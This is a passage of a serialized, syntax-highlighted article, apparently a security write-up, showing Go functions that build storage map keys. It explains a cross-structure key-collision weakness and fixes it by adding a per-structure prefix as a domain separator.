},{"type":24,"tag":83,"props":86321,"children":86322},{"style":107},[86323],{"type":29,"value":558},{"type":24,"tag":83,"props":86325,"children":86326},{"style":137},[86327],{"type":29,"value":85453},{"type":24,"tag":83,"props":86329,"children":86330},{"style":107},[86331],{"type":29,"value":85335},{"type":24,"tag":83,"props":86333,"children":86334},{"class":85,"line":1065},[86335],{"type":24,"tag":83,"props":86336,"children":86337},{"style":107},[86338],{"type":29,"value":23669},{"type":24,"tag":83,"props":86340,"children":86341},{"class":85,"line":1668},[86342,86346,86350,86354,86358,86362,86366,86370],{"type":24,"tag":83,"props":86343,"children":86344},{"style":137},[86345],{"type":29,"value":85305},{"type":24,"tag":83,"props":86347,"children":86348},{"style":107},[86349],{"type":29,"value":161},{"type":24,"tag":83,"props":86351,"children":86352},{"style":101},[86353],{"type":29,"value":85359},{"type":24,"tag":83,"props":86355,"children":86356},{"style":107},[86357],{"type":29,"value":558},{"type":24,"tag":83,"props":86359,"children":86360},{"style":137},[86361],{"type":29,"value":85394},{"type":24,"tag":83,"props":86363,"children":86364},{"style":107},[86365],{"type":29,"value":568},{"type":24,"tag":83,"props":86367,"children":86368},{"style":137},[86369],{"type":29,"value":85453},{"type":24,"tag":83,"props":86371,"children":86372},{"style":107},[86373],{"type":29,"value":2905},{"type":24,"tag":83,"props":86375,"children":86376},{"class":85,"line":1713},[86377],{"type":24,"tag":83,"props":86378,"children":86379},{"emptyLinePlaceholder":16},[86380],{"type":29,"value":3422},{"type":24,"tag":83,"props":86382,"children":86383},{"class":85,"line":1730},[86384,86389,86393,86397,86401,86405],{"type":24,"tag":83,"props":86385,"children":86386},{"style":137},[86387],{"type":29,"value":86388},"    key",{"type":24,"tag":83,"props":86390,"children":86391},{"style":143},[86392],{"type":29,"value":76131},{"type":24,"tag":83,"props":86394,"children":86395},{"style":137},[86396],{"type":29,"value":81948},{"type":24,"tag":83,"props":86398,"children":86399},{"style":107},[86400],{"type":29,"value":161},{"type":24,"tag":83,"props":86402,"children":86403},{"style":101},[86404],{"type":29,"value":84936},{"type":24,"tag":83,"props":86406,"children":86407},{"style":107},[86408],{"type":29,"value":3208},{"type":24,"tag":83,"props":86410,"children":86411},{"class":85,"line":1770},[86412,86417],{"type":24,"tag":83,"props":86413,"children":86414},{"style":187},[86415],{"type":29,"value":86416},"        \"%d%s%s%s%s\"",{"type":24,"tag":83,"props":86418,"children":86419},{"style":107},[86420],{"type":29,"value":989},{"type":24,"tag":83,"props":86422,"children":86423},{"class":85,"line":1778},[86424,86429],{"type":24,"tag":83,"props":86425,"children":86426},{"style":137},[86427],{"type":29,"value":86428},"        vaultId",{"type":24,"tag":83,"props":86430,"children":86431},{"style":107},[86432],{"type":29,"value":989},{"type":24,"tag":83,"props":86434,"children":86435},{"class":85,"line":1803},[86436,86441],{"type":24,"tag":83,"props":86437,"children":86438},{"style":137},[86439],{"type":29,"value":86440},"        Seperator",{"type":24,"tag":83,"props":86442,"children":86443},{"style":107},[86444],{"type":29,"value":989},{"type":24,"tag":83,"props":86446,"children":86447},{"class":85,"line":1811},[86448,86453],{"type":24,"tag":83,"props":86449,"children":86450},{"style":137},[86451],{"type":29,"value":86452},"        usernameEncoded",{"type":24,"tag":83,"props":86454,"children":86455},{"style":107},[86456],{"type":29,"value":989},{"type":24,"tag":83,"props":86458,"children":86459},{"class":85,"line":8792},[86460,86464],{"type":24,"tag":83,"props":86461,"children":86462},{"style":137},[86463],{"type":29,"value":86440},{"type":24,"tag":83,"props":86465,"children":86466},{"style":107},[86467],{"type":29,"value":989},{"type":24,"tag":83,"props":86469,"children":86470},{"class":85,"line":8810},[86471,86476],{"type":24,"tag":83,"props":86472,"children":86473},{"style":137},[86474],{"type":29,"value":86475},"        positionNameEncoded",{"type":24,"tag":83,"props":86477,"children":86478},{"style":107},[86479],{"type":29,"value":989},{"type":24,"tag":83,"props":86481,"children":86482},{"class":85,"line":8855},[86483],{"type":24,"tag":83,"props":86484,"children":86485},{"style":107},[86486],{"type":29,"value":23669},{"type":24,"tag":83,"props":86488,"children":86489},{"class":85,"line":8961},[86490],{"type":24,"tag":83,"props":86491,"children":86492},{"style":107},[86493],{"type":29,"value":464},{"type":24,"tag":83,"props":86495,"children":86496},{"class":85,"line":23248},[86497],{"type":24,"tag":83,"props":86498,"children":86499},{"emptyLinePlaceholder":16},[86500],{"type":29,"value":3422},{"type":24,"tag":83,"props":86502,"children":86503},{"class":85,"line":23283},[86504],{"type":24,"tag":83,"props":86505,"children":86506},{"emptyLinePlaceholder":16},[86507],{"type":29,"value":3422},{"type":24,"tag":83,"props":86509,"children":86510},{"class":85,"line":23291},[86511,86515,86520],{"type":24,"tag":83,"props":86512,"children":86513},{"style":90},[86514],{"type":29,"value":76015},{"type":24,"tag":83,"props":86516,"children":86517},{"style":101},[86518],{"type":29,"value":86519}," AddressMapKey",{"type":24,"tag":83,"props":86521,"children":86522},{"style":107},[86523],{"type":29,"value":3208},{"type":24,"tag":83,"props":86525,"children":86526},{"class":85,"line":23299},[86527,86531,86535],{"type":24,"tag":83,"props":86528,"children":86529},{"style":137},[86530],{"type":29,"value":84960},{"type":24,"tag":83,"props":86532,"children":86533},{"style":3163},[86534],{"type":29,"value":76136},{"type":24,"tag":83,"props":86536,"children":86537},{"style":107},[86538],{"type":29,"value":989},{"type":24,"tag":83,"props":86540,"children":86541},{"class":85,"line":23308},[86542,86546,86550,86555,86559],{"type":24,"tag":83,"props":86543,"children":86544},{"style":137},[86545],{"type":29,"value":84972},{"type":24,"tag":83,"props":86547,"children":86548},{"style":107},[86549],{"type":29,"value":568},{"type":24,"tag":83,"props":86551,"children":86552},{"style":137},[86553],{"type":29,"value":86554},"addressName",{"type":24,"tag":83,"props":86556,"children":86557},{"style":107},[86558],{"type":29,"value":75942},{"type":24,"tag":83,"props":86560,"children":86561},{"style":3163},[86562],{"type":29,"value":83941},{"type":24,"tag":83,"props":86564,"children":86565},{"class":85,"line":23350},[86566,86570,86574,86578,86582],{"type":24,"tag":83,"props":86567,"children":86568},{"style":107},[86569],{"type":29,"value":76097},{"type":24,"tag":83,"props":86571,"children":86572},{"style":137},[86573],{"type":29,"value":71871},{"type":24,"tag":83,"props":86575,"children":86576},{"style":107},[86577],{"type":29,"value":75942},{"type":24,"tag":83,"props":86579,"children":86580},{"style":3163},[86581],{"type":29,"value":84478},{"type":24,"tag":83,"props":86583,"children":86584},{"style":107},[86585],{"type":29,"value":253},{"type":24,"tag":83,"props":86587,"children":86588},{"class":85,"line":23383},[86589,86593,86597,86601],{"type":24,"tag":83,"props":86590,"children":86591},{"style":137},[86592],{"type":29,"value":85574},{"type":24,"tag":83,"props":86594,"children":86595},{"style":143},[86596],{"type":29,"value":76131},{"type":24,"tag":83,"props":86598,"children":86599},{"style":101},[86600],{"type":29,"value":85277},{"type":24,"tag":83,"props":86602,"children":86603},{"style":107},[86604],{"type":29,"value":3208},{"type":24,"tag":83,"props":86606,"children":86607},{"class":85,"line":23391},[86608,86612,86616],{"type":24,"tag":83,"props":86609,"children":86610},{"style":107},[86611],{"type":29,"value":86168},{"type":24,"tag":83,"props":86613,"children":86614},{"style":3163},[86615],{"type":29,"value":84478},{"type":24,"tag":83,"props":86617,"children":86618},{"style":107},[86619],{"type":29,"value":989},{"type":24,"tag":83,"props":86621,"children":86622},{"class":85,"line":23399},[86623,86627,86631,86635,86639,86643,86647,86651],{"type":24,"tag":83,"props":86624,"children":86625},{"style":137},[86626],{"type":29,"value":86184},{"type":24,"tag":83,"props":86628,"children":86629},{"style":107},[86630],{"type":29,"value":161},{"type":24,"tag":83,"props":86632,"children":86633},{"style":101},[86634],{"type":29,"value":85314},{"type":24,"tag":83,"props":86636,"children":86637},{"style":107},[86638],{"type":29,"value":558},{"type":24,"tag":83,"props":86640,"children":86641},{"style":101},[86642],{"type":29,"value":8885},{"type":24,"tag":83,"props":86644,"children":86645},{"style":107},[86646],{"type":29,"value":558},{"type":24,"tag":83,"props":86648,"children":86649},{"style":137},[86650],{"type":29,"value":85184},{"type":24,"tag":83,"props":86652,"children":86653},{"style":107},[86654],{"type":29,"value":85335},{"type":24,"tag":83,"props":86656,"children":86657},{"class":85,"line":23408},[86658],{"type":24,"tag":83,"props":86659,"children":86660},{"style":107},[86661],{"type":29,"value":23669},{"type":24,"tag":83,"props":86663,"children":86664},{"class":85,"line":23484},[86665,86669,86673,86677,86681,86685,86689,86693],{"type":24,"tag":83,"props":86666,"children":86667},{"style":137},[86668],{"type":29,"value":85305},{"type":24,"tag":83,"props":86670,"children":86671},{"style":107},[86672],{"type":29,"value":161},{"type":24,"tag":83,"props":86674,"children":86675},{"style":101},[86676],{"type":29,"value":85359},{"type":24,"tag":83,"props":86678,"children":86679},{"style":107},[86680],{"type":29,"value":558},{"type":24,"tag":83,"props":86682,"children":86683},{"style":137},[86684],{"type":29,"value":85268},{"type":24,"tag":83,"props":86686,"children":86687},{"style":107},[86688],{"type":29,"value":568},{"type":24,"tag":83,"props":86690,"children":86691},{"style":137},[86692],{"type":29,"value":85184},{"type":24,"tag":83,"props":86694,"children":86695},{"style":107},[86696],{"type":29,"value":2905},{"type":24,"tag":83,"props":86698,"children":86699},{"class":85,"line":23517},[86700],{"type":24,"tag":83,"props":86701,"children":86702},{"emptyLinePlaceholder":16},[86703],{"type":29,"value":3422},{"type":24,"tag":83,"props":86705,"children":86706},{"class":85,"line":23525},[86707,86712,86716,86720],{"type":24,"tag":83,"props":86708,"children":86709},{"style":137},[86710],{"type":29,"value":86711},"    addressNameEncoded",{"type":24,"tag":83,"props":86713,"children":86714},{"style":143},[86715],{"type":29,"value":76131},{"type":24,"tag":83,"props":86717,"children":86718},{"style":101},[86719],{"type":29,"value":85277},{"type":24,"tag":83,"props":86721,"children":86722},{"style":107},[86723],{"type":29,"value":3208},{"type":24,"tag":83,"props":86725,"children":86726},{"class":85,"line":23533},[86727,86731,86735],{"type":24,"tag":83,"props":86728,"children":86729},{"style":107},[86730],{"type":29,"value":86168},{"type":24,"tag":83,"props":86732,"children":86733},{"style":3163},[86734],{"type":29,"value":84478},{"type":24,"tag":83,"props":86736,"children":86737},{"style":107},[86738],{"type":29,"value":989},{"type":24,"tag":83,"props":86740,"children":86741},{"class":85,"line":23570},[86742,86746,86750,86754,86758,86762,86766,86770],{"type":24,"tag":83,"props":86743,"children":86744},{"style":137},[86745],{"type":29,"value":86184},{"type":24,"tag":83,"props":86747,"children":86748},{"style":107},[86749],{"type":29,"value":161},{"type":24,"tag":83,"props":86751,"children":86752},{"style":101},[86753],{"type":29,"value":85314},{"type":24,"tag":83,"props":86755,"children":86756},{"style":107},[86757],{"type":29,"value":558},{"type":24,"tag":83,"props":86759,"children":86760},{"style":101},[86761],{"type":29,"value":8885},{"type":24,"tag":83,"props":86763,"children":86764},{"style":107},[86765],{"type":29,"value":558},{"type":24,"tag":83,"props":86767,"children":86768},{"style":137},[86769],{"type":29,"value":86554},{"type":24,"tag":83,"props":86771,"children":86772},{"style":107},[86773],{"type":29,"value":85335},{"type":24,"tag":83,"props":86775,"children":86776},{"class":85,"line":23583},[86777],{"type":24,"tag":83,"props":86778,"children":86779},{"style":107},[86780],{"type":29,"value":23669},{"type":24,"tag":83,"props":86782,"children":86783},{"class":85,"line":23596},[86784,86788,86792,86796,86800,86805,86809,86813],{"type":24,"tag":83,"props":86785,"children":86786},{"style":137},[86787],{"type":29,"value":85305},{"type":24,"tag":83,"props":86789,"children":86790},{"style":107},[86791],{"type":29,"value":161},{"type":24,"tag":83,"props":86793,"children":86794},{"style":101},[86795],{"type":29,"value":85359},{"type":24,"tag":83,"props":86797,"children":86798},{"style":107},[86799],{"type":29,"value":558},{"type":24,"tag":83,"props":86801,"children":86802},{"style":137},[86803],{"type":29,"value":86804},"addressNameEncoded",{"type":24,"tag":83,"props":86806,"children":86807},{"style":107},[86808],{"type":29,"value":568},{"type":24,"tag":83,"props":86810,"children":86811},{"style":137},[86812],{"type":29,"value":86554},{"type":24,"tag":83,"props":86814,"children":86815},{"style":107},[86816],{"type":29,"value":2905},{"type":24,"tag":83,"props":86818,"children":86819},{"class":85,"line":23609},[86820],{"type":24,"tag":83,"props":86821,"children":86822},{"emptyLinePlaceholder":16},[86823],{"type":29,"value":3422},{"type":24,"tag":83,"props":86825,"children":86826},{"class":85,"line":23663},[86827,86831,86835,86839,86843,86847],{"type":24,"tag":83,"props":86828,"children":86829},{"style":137},[86830],{"type":29,"value":86388},{"type":24,"tag":83,"props":86832,"children":86833},{"style":143},[86834],{"type":29,"value":76131},{"type":24,"tag":83,"props":86836,"children":86837},{"style":137},[86838],{"type":29,"value":81948},{"type":24,"tag":83,"props":86840,"children":86841},{"style":107},[86842],{"type":29,"value":161},{"type":24,"tag":83,"props":86844,"children":86845},{"style":101},[86846],{"type":29,"value":84936},{"type":24,"tag":83,"props":86848,"children":86849},{"style":107},[86850],{"type":29,"value":3208},{"type":24,"tag":83,"props":86852,"children":86853},{"class":85,"line":23672},[86854,86858],{"type":24,"tag":83,"props":86855,"children":86856},{"style":187},[86857],{"type":29,"value":86416},{"type":24,"tag":83,"props":86859,"children":86860},{"style":107},[86861],{"type":29,"value":989},{"type":24,"tag":83,"props":86863,"children":86864},{"class":85,"line":32019},[86865,86869],{"type":24,"tag":83,"props":86866,"children":86867},{"style":137},[86868],{"type":29,"value":86428},{"type":24,"tag":83,"props":86870,"children":86871},{"style":107},[86872],{"type":29,"value":989},{"type":24,"tag":83,"props":86874,"children":86875},{"class":85,"line":32040},[86876,86880],{"type":24,"tag":83,"props":86877,"children":86878},{"style":137},[86879],{"type":29,"value":86440},{"type":24,"tag":83,"props":86881,"children":86882},{"style":107},[86883],{"type":29,"value":989},{"type":24,"tag":83,"props":86885,"children":86886},{"class":85,"line":80665},[86887,86891],{"type":24,"tag":83,"props":86888,"children":86889},{"style":137},[86890],{"type":29,"value":86452},{"type":24,"tag":83,"props":86892,"children":86893},{"style":107},[86894],{"type":29,"value":989},{"type":24,"tag":83,"props":86896,"children":86897},{"class":85,"line":80678},[86898,86902],{"type":24,"tag":83,"props":86899,"children":86900},{"style":137},[86901],{"type":29,"value":86440},{"type":24,"tag":83,"props":86903,"children":86904},{"style":107},[86905],{"type":29,"value":989},{"type":24,"tag":83,"props":86907,"children":86908},{"class":85,"line":80686},[86909,86914],{"type":24,"tag":83,"props":86910,"children":86911},{"style":137},[86912],{"type":29,"value":86913},"        addressNameEncoded",{"type":24,"tag":83,"props":86915,"children":86916},{"style":107},[86917],{"type":29,"value":989},{"type":24,"tag":83,"props":86919,"children":86920},{"class":85,"line":80694},[86921],{"type":24,"tag":83,"props":86922,"children":86923},{"style":107},[86924],{"type":29,"value":23669},{"type":24,"tag":83,"props":86926,"children":86927},{"class":85,"line":80702},[86928],{"type":24,"tag":83,"props":86929,"children":86930},{"style":107},[86931],{"type":29,"value":464},{"type":24,"tag":25,"props":86933,"children":86934},{},[86935,86937,86942],{"type":29,"value":86936},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":24,"tag":32,"props":86938,"children":86940},{"className":86939},[],[86941],{"type":29,"value":84690},{"type":29,"value":86943},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":24,"tag":73,"props":86945,"children":86947},{"code":86946},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[86948],{"type":24,"tag":32,"props":86949,"children":86950},{"__ignoreMap":7},[86951],{"type":29,"value":86946},{"type":24,"tag":25,"props":86953,"children":86954},{},[86955],{"type":29,"value":86956},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":24,"tag":73,"props":86958,"children":86960},{"code":86959,"language":75879,"meta":7,"className":75880,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[86961],{"type":24,"tag":32,"props":86962,"children":86963},{"__ignoreMap":7},[86964,86975,86990,87017,87042,87049,87056,87063,87078,87093,87120,87143,87162,87177,87212,87219,87254,87261,87280,87295,87330,87337,87372,87379,87406,87418,87430,87441,87452,87463,87474,87485,87492,87499,87506,87513,87528,87543,87570,87593,87612,87627,87662,87669,87704,87711,87730,87745,87780,87787,87822,87829,87856,87867,87879,87890,87901,87912,87923,87934,87942],{"type":24,"tag":83,"props":86965,"children":86966},{"class":85,"line":86},[86967,86971],{"type":24,"tag":83,"props":86968,"children":86969},{"style":90},[86970],{"type":29,"value":9401},{"type":24,"tag":83,"props":86972,"children":86973},{"style":107},[86974],{"type":29,"value":1337},{"type":24,"tag":83,"props":86976,"children":86977},{"class":85,"line":113},[86978,86982,86986],{"type":24,"tag":83,"props":86979,"children":86980},{"style":137},[86981],{"type":29,"value":85044},{"type":24,"tag":83,"props":86983,"children":86984},{"style":143},[86985],{"type":29,"value":146},{"type":24,"tag":83,"props":86987,"children":86988},{"style":187},[86989],{"type":29,"value":85053},{"type":24,"tag":83,"props":86991,"children":86992},{"class":85,"line":128},[86993,86998,87002,87007,87012],{"type":24,"tag":83,"props":86994,"children":86995},{"style":137},[86996],{"type":29,"value":86997},"    PositionMapPrefix",{"type":24,"tag":83,"props":86999,"children":87000},{"style":143},[87001],{"type":29,"value":146},{"type":24,"tag":83,"props":87003,"children":87004},{"style":187},[87005],{"type":29,"value":87006}," \"",{"type":24,"tag":83,"props":87008,"children":87009},{"style":48092},[87010],{"type":29,"value":87011},"\\x01",{"type":24,"tag":83,"props":87013,"children":87014},{"style":187},[87015],{"type":29,"value":87016},"\"\n",{"type":24,"tag":83,"props":87018,"children":87019},{"class":85,"line":183},[87020,87025,87029,87033,87038],{"type":24,"tag":83,"props":87021,"children":87022},{"style":137},[87023],{"type":29,"value":87024},"    AddressMapPrefix",{"type":24,"tag":83,"props":87026,"children":87027},{"style":143},[87028],{"type":29,"value":146},{"type":24,"tag":83,"props":87030,"children":87031},{"style":187},[87032],{"type":29,"value":87006},{"type":24,"tag":83,"props":87034,"children":87035},{"style":48092},[87036],{"type":29,"value":87037},"\\x02",{"type":24,"tag":83,"props":87039,"children":87040},{"style":187},[87041],{"type":29,"value":87016},{"type":24,"tag":83,"props":87043,"children":87044},{"class":85,"line":203},[87045],{"type":24,"tag":83,"props":87046,"children":87047},{"style":107},[87048],{"type":29,"value":2905},{"type":24,"tag":83,"props":87050,"children":87051},{"class":85,"line":212},[87052],{"type":24,"tag":83,"props":87053,"children":87054},{"emptyLinePlaceholder":16},[87055],{"type":29,"value":3422},{"type":24,"tag":83,"props":87057,"children":87058},{"class":85,"line":256},[87059],{"type":24,"tag":83,"props":87060,"children":87061},{"emptyLinePlaceholder":16},[87062],{"type":29,"value":3422},{"type":24,"tag":83,"props":87064,"children":87065},{"class":85,"line":270},[87066,87070,87074],{"type":24,"tag":83,"props":87067,"children":87068},{"style":90},[87069],{"type":29,"value":76015},{"type":24,"tag":83,"props":87071,"children":87072},{"style":101},[87073],{"type":29,"value":86072},{"type":24,"tag":83,"props":87075,"children":87076},{"style":107},[87077],{"type":29,"value":3208},{"type":24,"tag":83,"props":87079,"children":87080},{"class":85,"line":302},[87081,87085,87089],{"type":24,"tag":83,"props":87082,"children":87083},{"style":137},[87084],{"type":29,"value":84960},{"type":24,"tag":83,"props":87086,"children":87087},{"style":3163},[87088],{"type":29,"value":76136},{"type":24,"tag":83,"props":87090,"children":87091},{"style":107},[87092],{"type":29,"value":989},{"type":24,"tag":83,"props":87094,"children":87095},{"class":85,"line":324},[87096,87100,87104,87108,87112,87116],{"type":24,"tag":83,"props":87097,"children":87098},{"style":137},[87099],{"type":29,"value":84972},{"type":24,"tag":83,"props":87101,"children":87102},{"style":107},[87103],{"type":29,"value":568},{"type":24,"tag":83,"props":87105,"children":87106},{"style":137},[87107],{"type":29,"value":85453},{"type":24,"tag":83,"props":87109,"children":87110},{"style":107},[87111],{"type":29,"value":75942},{"type":24,"tag":83,"props":87113,"children":87114},{"style":3163},[87115],{"type":29,"value":84478},{"type":24,"tag":83,"props":87117,"children":87118},{"style":107},[87119],{"type":29,"value":989},{"type":24,"tag":83,"props":87121,"children":87122},{"class":85,"line":345},[87123,87127,87131,87135,87139],{"type":24,"tag":83,"props":87124,"children":87125},{"style":107},[87126],{"type":29,"value":76097},{"type":24,"tag":83,"props":87128,"children":87129},{"style":137},[87130],{"type":29,"value":71871},{"type":24,"tag":83,"props":87132,"children":87133},{"style":107},[87134],{"type":29,"value":75942},{"type":24,"tag":83,"props":87136,"children":87137},{"style":3163},[87138],{"type":29,"value":84478},{"type":24,"tag":83,"props":87140,"children":87141},{"style":107},[87142],{"type":29,"value":253},{"type":24,"tag":83,"props":87144,"children":87145},{"class":85,"line":358},[87146,87150,87154,87158],{"type":24,"tag":83,"props":87147,"children":87148},{"style":137},[87149],{"type":29,"value":85574},{"type":24,"tag":83,"props":87151,"children":87152},{"style":143},[87153],{"type":29,"value":76131},{"type":24,"tag":83,"props":87155,"children":87156},{"style":101},[87157],{"type":29,"value":85277},{"type":24,"tag":83,"props":87159,"children":87160},{"style":107},[87161],{"type":29,"value":3208},{"type":24,"tag":83,"props":87163,"children":87164},{"class":85,"line":367},[87165,87169,87173],{"type":24,"tag":83,"props":87166,"children":87167},{"style":107},[87168],{"type":29,"value":86168},{"type":24,"tag":83,"props":87170,"children":87171},{"style":3163},[87172],{"type":29,"value":84478},{"type":24,"tag":83,"props":87174,"children":87175},{"style":107},[87176],{"type":29,"value":989},{"type":24,"tag":83,"props":87178,"children":87179},{"class":85,"line":406},[87180,87184,87188,87192,87196,87200,87204,87208],{"type":24,"tag":83,"props":87181,"children":87182},{"style":137},[87183],{"type":29,"value":86184},{"type":24,"tag":83,"props":87185,"children":87186},{"style":107},[87187],{"type":29,"value":161},{"type":24,"tag":83,"props":87189,"children":87190},{"style":101},[87191],{"type":29,"value":85314},{"type":24,"tag":83,"props":87193,"children":87194},{"style":107},[87195],{"type":29,"value":558},{"type":24,"tag":83,"props":87197,"children":87198},{"style":101},[87199],{"type":29,"value":8885},{"type":24,"tag":83,"props":87201,"children":87202},{"style":107},[87203],{"type":29,"value":558},{"type":24,"tag":83,"props":87205,"children":87206},{"style":137},[87207],{"type":29,"value":85184},{"type":24,"tag":83,"props":87209,"children":87210},{"style":107},[87211],{"type":29,"value":85335},{"type":24,"tag":83,"props":87213,"children":87214},{"class":85,"line":427},[87215],{"type":24,"tag":83,"props":87216,"children":87217},{"style":107},[87218],{"type":29,"value":23669},{"type":24,"tag":83,"props":87220,"children":87221},{"class":85,"line":440},[87222,87226,87230,87234,87238,87242,87246,87250],{"type":24,"tag":83,"props":87223,"children":87224},{"style":137},[87225],{"type":29,"value":85305},{"type":24,"tag":83,"props":87227,"children":87228},{"style":107},[87229],{"type":29,"value":161},{"type":24,"tag":83,"props":87231,"children":87232},{"style":101},[87233],{"type":29,"value":85359},{"type":24,"tag":83,"props":87235,"children":87236},{"style":107},[87237],{"type":29,"value":558},{"type":24,"tag":83,"props":87239,"children":87240},{"style":137},[87241],{"type":29,"value":85268},{"type":24,"tag":83,"props":87243,"children":87244},{"style":107},[87245],{"type":29,"value":568},{"type":24,"tag":83,"props":87247,"children":87248},{"style":137},[87249],{"type":29,"value":85184},{"type":24,"tag":83,"props":87251,"children":87252},{"style":107},[87253],{"type":29,"value":2905},{"type":24,"tag":83,"props":87255,"children":87256},{"class":85,"line":449},[87257],{"type":24,"tag":83,"props":87258,"children":87259},{"emptyLinePlaceholder":16},[87260],{"type":29,"value":3422},{"type":24,"tag":83,"props":87262,"children":87263},{"class":85,"line":458},[87264,87268,87272,87276],{"type":24,"tag":83,"props":87265,"children":87266},{"style":137},[87267],{"type":29,"value":86269},{"type":24,"tag":83,"props":87269,"children":87270},{"style":143},[87271],{"type":29,"value":76131},{"type":24,"tag":83,"props":87273,"children":87274},{"style":101},[87275],{"type":29,"value":85277},{"type":24,"tag":83,"props":87277,"children":87278},{"style":107},[87279],{"type":29,"value":3208},{"type":24,"tag":83,"props":87281,"children":87282},{"class":85,"line":1065},[87283,87287,87291],{"type":24,"tag":83,"props":87284,"children":87285},{"style":107},[87286],{"type":29,"value":86168},{"type":24,"tag":83,"props":87288,"children":87289},{"style":3163},[87290],{"type":29,"value":84478},{"type":24,"tag":83,"props":87292,"children":87293},{"style":107},[87294],{"type":29,"value":989},{"type":24,"tag":83,"props":87296,"children":87297},{"class":85,"line":1668},[87298,87302,87306,87310,87314,87318,87322,87326],{"type":24,"tag":83,"props":87299,"children":87300},{"style":137},[87301],{"type":29,"value":86184},{"type":24,"tag":83,"props":87303,"children":87304},{"style":107},[87305],{"type":29,"value":161},{"type":24,"tag":83,"props":87307,"children":87308},{"style":101},[87309],{"type":29,"value":85314},{"type":24,"tag":83,"props":87311,"children":87312},{"style":107},[87313],{"type":29,"value":558},{"type":24,"tag":83,"props":87315,"children":87316},{"style":101},[87317],{"type":29,"value":8885},{"type":24,"tag":83,"props":87319,"children":87320},{"style":107},[87321],{"type":29,"value":558},{"type":24,"tag":83,"props":87323,"children":87324},{"style":137},[87325],{"type":29,"value":85453},{"type":24,"tag":83,"props":87327,"children":87328},{"style":107},[87329],{"type":29,"value":85335},{"type":24,"tag":83,"props":87331,"children":87332},{"class":85,"line":1713},[87333],{"type":24,"tag":83,"props":87334,"children":87335},{"style":107},[87336],{"type":29,"value":23669},{"type":24,"tag":83,"props":87338,"children":87339},{"class":85,"line":1730},[87340,87344,87348,87352,87356,87360,87364,87368],{"type":24,"tag":83,"props":87341,"children":87342},{"style":137},[87343],{"type":29,"value":85305},{"type":24,"tag":83,"props":87345,"children":87346},{"style":107},[87347],{"type":29,"value":161},{"type":24,"tag":83,"props":87349,"children":87350},{"style":101},[87351],{"type":29,"value":85359},{"type":24,"tag":83,"props":87353,"children":87354},{"style":107},[87355],{"type":29,"value":558},{"type":24,"tag":83,"props":87357,"children":87358},{"style":137},[87359],{"type":29,"value":85394},{"type":24,"tag":83,"props":87361,"children":87362},{"style":107},[87363],{"type":29,"value":568},{"type":24,"tag":83,"props":87365,"children":87366},{"style":137},[87367],{"type":29,"value":85453},{"type":24,"tag":83,"props":87369,"children":87370},{"style":107},[87371],{"type":29,"value":2905},{"type":24,"tag":83,"props":87373,"children":87374},{"class":85,"line":1770},[87375],{"type":24,"tag":83,"props":87376,"children":87377},{"emptyLinePlaceholder":16},[87378],{"type":29,"value":3422},{"type":24,"tag":83,"props":87380,"children":87381},{"class":85,"line":1778},[87382,87386,87390,87394,87398,87402],{"type":24,"tag":83,"props":87383,"children":87384},{"style":137},[87385],{"type":29,"value":86388},{"type":24,"tag":83,"props":87387,"children":87388},{"style":143},[87389],{"type":29,"value":76131},{"type":24,"tag":83,"props":87391,"children":87392},{"style":137},[87393],{"type":29,"value":81948},{"type":24,"tag":83,"props":87395,"children":87396},{"style":107},[87397],{"type":29,"value":161},{"type":24,"tag":83,"props":87399,"children":87400},{"style":101},[87401],{"type":29,"value":84936},{"type":24,"tag":83,"props":87403,"children":87404},{"style":107},[87405],{"type":29,"value":3208},{"type":24,"tag":83,"props":87407,"children":87408},{"class":85,"line":1803},[87409,87414],{"type":24,"tag":83,"props":87410,"children":87411},{"style":187},[87412],{"type":29,"value":87413},"        \"%s%d%s%s%s%s\"",{"type":24,"tag":83,"props":87415,"children":87416},{"style":107},[87417],{"type":29,"value":989},{"type":24,"tag":83,"props":87419,"children":87420},{"class":85,"line":1811},[87421,87426],{"type":24,"tag":83,"props":87422,"children":87423},{"style":137},[87424],{"type":29,"value":87425},"        PositionMapPrefix",{"type":24,"tag":83,"props":87427,"children":87428},{"style":107},[87429],{"type":29,"value":989},{"type":24,"tag":83,"props":87431,"children":87432},{"class":85,"line":8792},[87433,87437],{"type":24,"tag":83,"props":87434,"children":87435},{"style":137},[87436],{"type":29,"value":86428},{"type":24,"tag":83,"props":87438,"children":87439},{"style":107},[87440],{"type":29,"value":989},{"type":24,"tag":83,"props":87442,"children":87443},{"class":85,"line":8810},[87444,87448],{"type":24,"tag":83,"props":87445,"children":87446},{"style":137},[87447],{"type":29,"value":86440},{"type":24,"tag":83,"props":87449,"children":87450},{"style":107},[87451],{"type":29,"value":989},{"type":24,"tag":83,"props":87453,"children":87454},{"class":85,"line":8855},[87455,87459],{"type":24,"tag":83,"props":87456,"children":87457},{"style":137},[87458],{"type":29,"value":86452},{"type":24,"tag":83,"props":87460,"children":87461},{"style":107},[87462],{"type":29,"value":989},{"type":24,"tag":83,"props":87464,"children":87465},{"class":85,"line":8961},[87466,87470],{"type":24,